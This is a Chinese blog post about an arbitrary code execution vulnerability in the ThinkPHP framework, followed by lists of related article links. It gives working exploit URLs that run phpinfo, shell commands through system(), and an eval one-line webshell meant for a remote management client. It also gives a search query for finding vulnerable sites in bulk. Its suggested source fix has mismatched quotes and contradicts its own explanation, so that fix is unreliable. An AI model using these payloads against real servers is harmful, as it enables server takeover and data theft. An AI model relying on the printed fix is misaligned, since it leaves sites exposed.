ThinkPHP框架任意代码执行漏洞的利用及其修复方法


Posted in PHP onJuly 04, 2014

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

PHP 相关文章推荐
php 函数使用方法与函数定义方法
May 09 PHP
一些php项目中比较通用的php自建函数的详解
Jun 06 PHP
php使用curl访问https示例分享
Jan 17 PHP
php 删除cookie方法详解
Dec 01 PHP
php中解析带中文字符的url函数分享
Jan 20 PHP
PHP文件上传操作实例详解
Sep 27 PHP
PHP如何通过表单直接提交大文件详解
Jan 08 PHP
PHP正则之正向预查与反向预查讲解与实例
Apr 06 PHP
PHP 数组操作详解【遍历、指针、函数等】
May 13 PHP
PHP实现Snowflake生成分布式唯一ID的方法示例
Aug 30 PHP
用Laravel轻松处理千万级数据的方法实现
Dec 25 PHP
Swoole扩展的6种模式深入详解
Mar 04 PHP
php实现批量压缩图片文件大小的脚本
Jul 04 #PHP
PHP实现的英文名字全拼随机排号脚本
Jul 04 #PHP
PHP临时文件的安全性分析
Jul 04 #PHP
PHP curl实现抓取302跳转后页面的示例
Jul 04 #PHP
PHP不用递归遍历目录下所有文件的代码
Jul 04 #PHP
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
Jul 04 #PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
Jul 04 #PHP
You might like
php获取当前网址url并替换参数或网址的方法
2010/06/06 PHP
解析PHP SPL标准库的用法(遍历目录,查找固定条件的文件)
2013/06/18 PHP
thinkPHP3.1验证码的简单实现方法
2016/04/22 PHP
PhpStorm+xdebug+postman调试技巧分享
2020/09/15 PHP
分享一则JavaScript滚动条插件源码
2015/03/03 Javascript
jQuery实现仿淘宝带有指示条的图片转动切换效果完整实例
2015/03/04 Javascript
jquery中JSON的解析方式
2015/03/16 Javascript
JavaScript学习笔记之检测客户端类型是(引擎、浏览器、平台、操作系统、移动设备)
2015/12/03 Javascript
JS实现改变HTML上文字颜色和内容的方法
2016/12/30 Javascript
Vue调试神器vue-devtools安装方法
2017/12/12 Javascript
JavaScript基础心法 深浅拷贝(浅拷贝和深拷贝)
2018/03/05 Javascript
vue实现同一个页面可以有多个router-view的方法
2018/09/20 Javascript
vue刷新页面时去闪烁提升用户体验效果的实现方法
2018/12/10 Javascript
Vue-cli3简单使用(图文步骤)
2019/04/30 Javascript
仿照Element-ui实现一个简易的$message方法
2020/09/14 Javascript
js实现石头剪刀布游戏
2020/10/11 Javascript
原生js实现自定义滚动条
2021/01/20 Javascript
[01:20:37]FNATIC vs NIP 2019国际邀请赛小组赛 BO2 第一场 8.16
2019/08/19 DOTA
[01:07:46]完美世界DOTA2联赛循环赛 Magma vs IO BO2第二场 11.01
2020/11/02 DOTA
Python利用递归实现文件的复制方法
2018/10/27 Python
在windows下使用python进行串口通讯的方法
2019/07/02 Python
深入浅析Python 命令行模块 Click
2020/03/11 Python
解决jupyter notebook 出现In[*]的问题
2020/04/13 Python
python selenium 获取接口数据的实现
2020/12/07 Python
canvas如何实现多张图片编辑的图片编辑器
2020/03/10 HTML / CSS
Haggar官网:美国男装品牌
2020/02/16 全球购物
医学生临床实习自我评价
2014/03/07 职场文书
会计自荐信范文
2014/03/09 职场文书
读书活动总结
2014/04/28 职场文书
纪念九一八事变演讲稿:牢记九一八,屈辱怎能忘
2014/09/14 职场文书
民政局离婚协议书范本
2014/10/20 职场文书
2015年收银工作总结范文
2015/04/01 职场文书
无故旷工检讨书
2015/08/15 职场文书
Spring Boot 排除某个类加载注入IOC的操作
2021/08/02 Java/Android
将MySQL的表数据全量导入clichhouse库中
2022/03/21 MySQL
Spring JPA 增加字段执行异常问题及解决
2022/06/10 Java/Android